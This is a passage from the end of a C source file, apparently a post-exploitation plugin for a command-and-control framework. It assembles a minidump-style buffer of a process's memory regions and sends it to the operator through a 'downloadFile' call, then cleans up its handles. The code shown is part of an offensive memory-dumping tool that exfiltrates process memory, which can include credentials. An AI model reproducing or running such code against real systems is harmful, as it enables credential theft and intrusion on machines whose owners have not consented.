sizeof(MEMORY_64_INFO)); 540 | currentPointer += sizeof(MEMORY_64_INFO); 541 | 542 | } 543 | MSVCRT$memcpy(currentPointer, memory_regions, memory_regions_size); 544 | 545 | 546 | downloadFile(filename, MSVCRT$strlen(filename), dmpFileBuffer, totalSize); 547 | 548 | //Cleanup 549 | MSVCRT$free(dmpFileBuffer); 550 | MSVCRT$free(dllStruct.Buffer); 551 | NTDLL$NtClose(hProc); 552 | return; 553 | } 554 | --------------------------------------------------------------------------------